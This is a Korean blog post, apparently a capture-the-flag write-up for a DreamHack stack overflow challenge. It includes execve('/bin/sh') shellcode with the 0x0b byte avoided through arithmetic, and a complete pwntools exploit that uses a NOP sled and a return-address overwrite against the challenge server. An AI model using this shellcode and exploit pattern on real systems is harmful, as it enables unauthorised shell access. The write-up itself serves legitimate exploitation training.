상세 컨텐츠

본문 제목

[DreamHack] basic_exploitation_000

SYSTEM HACKING/Dreamhack

by koharin 2020. 5. 31. 11:21

본문

728x90
반응형

 

출력된 buf 주소와 스택이 들어간 위치 확인해보면 buf에서부터 값이 들어간다.

 

 

\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\xb0\x0b\xcd\x80

 

0b에서 계속 끊기는 현상 발생.

0b 없이 만들어야 한다.

mov al, 0x0b 원래는 이거인데 0x0b는 어짜피 상수이므로 al 레지스터에 0x0b만 만들어주면 된다.

 

따라서 sub로 만들든 add로 만들든 11이 되도록 만들면 된다.

 

mov al, 0x08

add al, 0x03

int 0x80

 

로 만들었다.

이렇게 하니까 정상적으로 쉘코드가 들어가고 return address가 덮혔다!

 

ret에 놉 주소가 들어가있는 것 확인 가능!

 

그리고 nop으로 뛰었다

 

저 부분에서 오류 생겨서 xor al, al al 초기화부분을 넣어봤다.

 

 

text.s

global _start

_start:
        xor    al, al
        mov    al, 0x22
        sub    al, 0x17
#        push 0xc
#        pop eax
#        sub eax, 0x1

        int    0x80

 

ex.py

#!/usr/bin/python 
from pwn import *

#context.arch = 'i386'
context.log_level = 'debug'
#p = process("./basic_exploitation_000")
p = remote("host1.dreamhack.games", 8237)
elf = ELF("./basic_exploitation_000")

p.recvuntil("buf = (")
buf = int(p.recv(10), 16)
log.info("buf : "+hex(buf))

#gdb.attach(p)
shellcode = "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x89\xc2\xb0\x22\x2c\x17\xcd\x80"

pay = '\x90'*48 + shellcode +'\x90'*(0x84-48-len(shellcode)) + p32(buf)
p.sendlineafter("\n", pay)

p.interactive()

 

728x90
반응형

'SYSTEM HACKING > Dreamhack' 카테고리의 다른 글

[Dreamhack] house_of_spirit  (0) 2020.06.12
[DreamHack] hook  (0) 2020.05.31
[DreamHack] basic_exploitation_003  (0) 2020.05.31
[DreamHack] basic_exploitation_002  (0) 2020.05.31
[DreamHack] basic_exploitation_001  (0) 2020.05.31

관련글 더보기